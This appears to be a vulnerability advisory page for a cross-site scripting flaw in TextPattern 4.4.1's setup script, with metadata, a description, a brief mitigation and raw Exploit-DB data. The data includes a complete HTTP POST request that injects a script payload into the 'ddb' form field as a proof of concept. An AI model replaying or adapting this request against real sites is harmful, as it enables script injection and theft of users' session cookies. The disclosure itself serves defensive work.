TextPattern Cross-Site Scripting Vulnerability

vendor:

TextPattern

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: TextPattern

Affected Version From: TextPattern 4.4.1

Affected Version To: TextPattern 4.4.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

TextPattern Cross-Site Scripting Vulnerability

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/51254/info

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.4.1 is vulnerable; other versions may also be affected. 

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.example.com/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
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